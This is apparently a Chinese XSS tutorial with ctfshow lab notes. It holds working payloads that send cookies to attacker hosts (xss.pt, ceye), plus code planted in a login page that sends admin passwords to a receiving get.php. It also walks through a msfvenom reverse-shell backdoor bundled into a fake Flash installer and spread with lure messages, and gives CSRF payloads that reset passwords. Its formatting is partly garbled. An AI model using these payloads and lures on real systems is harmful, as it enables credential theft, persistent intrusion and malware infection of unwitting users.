企业网站建设找哪家,策划营销推广方案,便宜机票的网站建设,北京建设监督网站文章目录 知识补充XSS跨站脚本**原理****攻击类型**XSS-后台植入Cookie表单劫持XSS-Flash钓鱼配合MSF捆绑上线ctfshow XSS靶场练习 知识补充
SQL注入小迪讲解 文件上传小迪讲解 文件上传中间件解析
XSS跨站脚本
xss平台#xff1a; https://xss.pt/
原理
恶意攻击者… 文章目录 知识补充XSS跨站脚本**原理****攻击类型**XSS-后台植入Cookie表单劫持XSS-Flash钓鱼配合MSF捆绑上线ctfshow XSS靶场练习 知识补充
SQL注入小迪讲解 文件上传小迪讲解 文件上传中间件解析
XSS跨站脚本
xss平台 https://xss.pt/
原理
恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码当用户浏览该页之时嵌入其中 Web 里面的脚本代码会被执行从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。
攻击类型
1、反射型XSS非持久型XSS 又称非持久型XSS。之所以称为反射型XSS执行代码从目标服务器通过错误信息、搜索结果等等方式“反射”回来发出请求时XSS代码出现在URL中作为输入提交到服务器端服务器端解析后响应XSS代码随响应内容一起传回给浏览器最后浏览器解析执行XSS代码。这个过程像一次反射故叫反射型XSS。 而称为非持久型XSS则是因为这种攻击方式具有一次性由于代码注入的是一个动态产生的页面而不是永久的页面因此这种攻击方式只在点击链接的时候才产生作用。
攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL当 URL 地址被打开时注入脚本被传输到目标服务器上然后服务器将注入脚本“反射”到受害者的浏览器上特有的恶意代码参数被 HTML 解析、执行。
2、存储型XSS持久型XSS 又称持久型XSS攻击脚本将被永久地存放在目标服务器端数据库内存文件系统等下次请求目标页面时不用再提交XSS代码。
一般存在于 Form 表单提交等交互功能如发帖留言提交文本信息等黑客利用的 XSS 漏洞将内容经正常功能提交进入数据库持久保存当前端页面获得后端从数据库中读出的注入代码时恰好将其渲染执行。 3、DOM-based 型 客户端的脚本程序可以动态地检查和修改页面内容而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本而这些脚本没有经过适当的过滤和消毒那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。
示例展示 x接收到值会在页面中显示(反射型)。 假如传输x的值改成JavaScript代码就会出现弹窗 正常写法http://127.0.0.1:8081/web/mysql/xss.php?x12345 弹窗写法http://127.0.0.1:8081/web/mysql/xss.php?xscriptalert(1)/script 查看源代码发现会插入到HTML页面中 查看页面返回有标签标题等展示(存储型) 逐一测试发现其在标签处进行css插入时会出现XSS 发布出去之后点击就会弹窗 传参时出现ks检查发现它在title处有出现测试是否具有XSS(反射型) 用/title标签将其闭合观察情况发现其已经产生效果 直接用跨站语句执行出现结果
平台useragent.openadmintools.com
访问这个平台可以发现他抓取了浏览器信息。从新进行访问抓包修改数据包UA头。 发送数据包
下订单留言一般会在后台显示前台进行留言后台进行查看。这就形成了xss攻击
参考文章1 参考文章2
XSS-后台植入Cookie表单劫持
条件已取得相关web权限后 获取cookie的时候有时候会获取不全phpsessid验证 表单劫持可以得到一些权限维持密文密码解密不了。可以通过他来获取明文账号密码。
已经取得了权限要对后台的权限进行长期控制可以借助xss盗取cookie把他写入代码到登录成功文件利用beef或xss平台实时监控Cookie等凭据实现权限维持 这种方法即使他把后台账号密码改了也可以进行权限维持。不会被后门工具识别。 比如登录的框页面http://127.0.0.1:8105/admin/login/login.php 登录成功后会跳转到http://127.0.0.1:8105/admin/index.php?langcn 我们就可以在登录成功的admin/index.php上进行操作写入sCRiPt sRC//xss.pt/X8Vz/sCrIpT 进行登录然后就可以触发到相对应的代码。
可以观察到他加载的数据包的内容 这样只要登录成功就能获取就能进行实时控制。进行了权限维持。 但是有一些网站不采用cookie即使获取到了但是还是不能登录。 正常来讲访问这个地址http://127.0.0.1:8105/admin/index.php?langcn 进行抓包修改cookie UM_distinctid17f38be65b3495-049fe07b7f19bd-e726559-1fa400-17f38be65b4b7d; CNZZDATA1670348cnzz_eid%3D674406514-1645919148-%26ntime%3D1645919148; coul8; lastvisit0%091645924524%09%2F; _ac_app_uaa0540fb14f9cd9d34f; recordurl%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fabout%252Fshow.php%253Flang%253Dcn%2526id%253D19%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fnews%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fjob%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F; PHPSESSIDe8gt6fhf1ba01jln0m6t0ljni1 但是返回包里明显还是登录不成功。 正确的cookie信息UM_distinctid17e46c24838315-027dd22377488f8-1262694a-144000-17e46c24839418; CNZZDATA3801251cnzz_eid%3D1994470479-1641863151-%26ntime%3D1645228788; CNZZDATA1670348cnzz_eid%3D1668791702-1645652947-%26ntime%3D1645652947; PHPSESSIDsmd97a9vae15lsg0tf2claaoi3 可以得知他获取的cookie是不全的或者说错误的。一般来说少了phpsessid (有防护) 那么就来进行实时的获取明文账号密码这样才能进行权限维持。需要一定的基础量能读懂数据的传输流程。 那么现在观察一下这个网站的登录流程是怎样的。 登录地址http://127.0.0.1:8105/admin/login/login.php 找到想对应的代码段D:\phpstudy_pro\WWW\xss-MetInfo5.1.4\admin\login\login.php 抓取登录的数据包 可以看到他提交的数据包是给了login_check.php文件也就是说他的账号密码是发送给了login_check.php这个文件。 查看提交的数据 actionloginloginlanglogin.php%3Flangset%3Dcnlogin_nameadminlogin_passadminSubmit%E7%99%BB%E5%BD%95 再次观察login_check.php 可以知道两个接受账号密码的变量 接受账号 m e t i n f o a d m i n n a m e 接受密码 metinfo_admin_name 接受密码 metinfoadminname接受密码metinfo_admin_pass 然后用到JavaScript语句来进行账号密码的发送那么应该怎么构造JavaScript语句呢 将账号发送到某个地方 语句构造 script srchttp://www.xiaodi8.com/get.php?user账号pass密码/script在某个地方来实现接收。get.php实现接收 构造payload $upscript srchttp://127.0.0.1:8081/web/get.php?user.$metinfo_admin_name.pass.$metinfo_admin_pass./script; echo $up;在http://127.0.0.1:8081/web中穿件get.php代码。 get.php代码 ?php $u$_GET[user]; $p$_GET[pass]; $myfilefopen(newfile.txt,a); fwrite($myfile,$u); fwrite($myfile,|);fwrite($myfile,$p); fwrite($myfile,\n);fclose($myfile); ? 接收账号密码写到newfile文件中 然后尝试登录这个网站中可以看到他尝试请求http://127.0.0.1:8081/web/get.php这个网站把admin和password发送出去 在登录下输入的账号密码就会发送到newfile中记录这个时候就可以进行测试了。 主要解决两个问题 1.cookie失败的时候截取不到。 2.取得一些权限密码解密不了。
XSS-Flash钓鱼配合MSF捆绑上线 条件beef上线受控后或直接钓鱼受害者爱看SESE 1、生成后门攻击是pc端的。 msfvenom -p windows/meterpreter/reverse_tcp LHOST47.100.167.248 LPORT1111 -f exe flash.exe flash下载官方地址https://www.flash.cn/ 我们构造的flash下载地址http://127.0.0.1:8106/ 一般是构造一个比较逼真的网址。 把后门放在D:\phpstudy_pro\WWW\web\目录上 打开构造好的地址index.html文件把立即下载这个地址改为后门下载地址http://127.0.0.1:8081/web/flash.exe 运行exe并且安装正常的文件所以需要捆绑正常文件。 在官方网站下载一个正常的flash文件 正常文件flashcenter_pp_ax_install_cn.exe 后门文件flash.exe 把两个文件放在一起压缩。 选择高级自解压选项解压到c:\windows\temp 点击设置进行配置 在确定压缩为rar文件。然后再把文件名一改改成flash_install.exe文件修改图标。 用到Restorator2018_Full_1793_FIX工具。 把两个exe文件拖进去然后把官方的图片导出。 然后导入到对应的文件中启动msf监听 msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 1111 run 那个别人是怎么访问你这个地址呢 1.通过xss beef来让浏览器自动访问下载后门并且运行 2.直接发给对方诱使他去访问。 通过发送消息比如小迪与某主播瑟瑟画面流出http://127.0.0.1:8081/web/诱惑.html 当访问想看的时候 访问直接跳转然后配合后门上线 执行后门上线完成 这一类遇到的问题免杀问题后门下载下来会遭到火绒等查杀
xss漏洞小展现
ctfshow XSS靶场练习
ctfshow默认会有一个机器人去访问触发的跨站flag一般都隐藏在cookie中。 参考文章
方法一
利用xss平台生成链接https://xss.pt/xss.php 不过平台好像不能用了
方法二
自动接收脚本 在自己的服务器上放一个PHP代码
# a.php
?php$cookie $_GET[cookie];$log fopen(cookie.txt, a);fwrite($log, $cookie . \n);fclose($log);
?
scriptdocument.location.hrefhttp://xxx/a.php?cookiedocument.cookie/scriptJavaScript的 document.cookie 将以字符串的方式返回所有的cookie类型格式 cookie1value; cookie2value;
让控制太进行跳转访问window.location.hrefhttp://xxx/a.php 这样回车就会跳转到http://xxx/a.php
可以使用http://ceye.io/ 网络安全工具用于监控和跟踪网络流量以便发现潜在的安全漏洞和攻击
XSS绕过总结参考
web 316
首先测试一下scriptalert(1)/script弹窗成功
注册过防火墙利用http://ceye.io/ 网络安全工具 scriptwindow.location.href你的ceye地址/document.cookie/script scriptlocation.hrefhttp://你的ceye地址/document.cookie/script scriptwindow.open(http://你的ceye地址/document.cookie)/script
web 317-319简单过滤
317过滤script318过滤img
body onloadwindow.location.hrefhttp://xxx/a.php?1document.cookie/bodyxss平台的十六进制编码格式 iframe WIDTH0 HEIGHT0 srcdoc。。。。。。。。。。#60;#115;#67;#82;#105;#80;#116;#32;#115;#82;#67;#61;#34;#104;#116;#116;#112;#115;#58;#47;#47;#120;#115;#115;#46;#112;#116;#47;#48;#115;#116;#52;#34;#62;#60;#47;#115;#67;#114;#73;#112;#84;#62;
web320-322-过滤空格
使用tab、\反斜杠或/**/代替空格
web323-326-过滤iframe
web322、324过滤 ; 分号web325过滤 . 点号
body/onloadwindow.location.hrefhttp://yours-ip/a.php?1document.cookie/bodyeg325 web327
收件人poster必须是admin才能发送什么原因I don’t konw 发件人和信的内容填写xss payload即可
web328- js拿管理员cookie
参考
存在有登录有注册。 注册之后登录发现没有管理员权限无法查看 在用户管理中有账号密码等显示这里不是管理员不让显示 思路 后台管理员有功能页面能够查看注册用户的账号密码 如果我将注册的账号密码改为js代码在管理员查看账号密码下会不会触发js代码么 触发了JavaScript代码获取到管理员的cookie值就可以进行用户的查看。
那么就注册一个JS scriptwindow.location.hrefhttp://fd35br.ceye.io/document.cookie/script显示注册成功 获取到PHPSESSID直接在cookie中添加此内容 使用bp抓包修改cookie将sessid换成我们刚刚得到的id web329- js拿管理员cookie失效
利用上一关得问题不过拿到cookie之后就失效了我们已经知道了flag出现的位置直接获取网页源码的元素过滤到该点即可 构造payload
script
$(.laytable-cell-1-0-1).each(function(index,value){if(value.innerHTML.indexOf(ctfshow)-1){window.location.hrefhttp://你的ceye地址/value.innerHTML;} });
/script需要一次完成后面的dacaiji就是flag web330- xsrf
前端存在修改密码且没有token存在csrf 在修改密码时抓包发现存在一个api接口/api/change.php?p123此时修改的密码就是123 所以只要将注册内容可以跳转到该接口使得admin访问即可重置管理员密码为想要设置的内容。 scriptwindow.location.hrefhttp://127.0.0.1/api/change.php?p123;/script 其中127.0…0.1是服务器本身地址
使用密码123登录admin用户查看flag
web331- xsrf post
同样有修改密码的地方但是是post提交数据抓包分析 在 url/js/select.js 中存在 post json 方式修改密码请求的js代码
script$.ajax({url:api/change.php,type:post,data:{p:123}});/script
修改管理员密码
web332-333
参考链接https://blog.csdn.net/rfrder/article/details/114079028#t17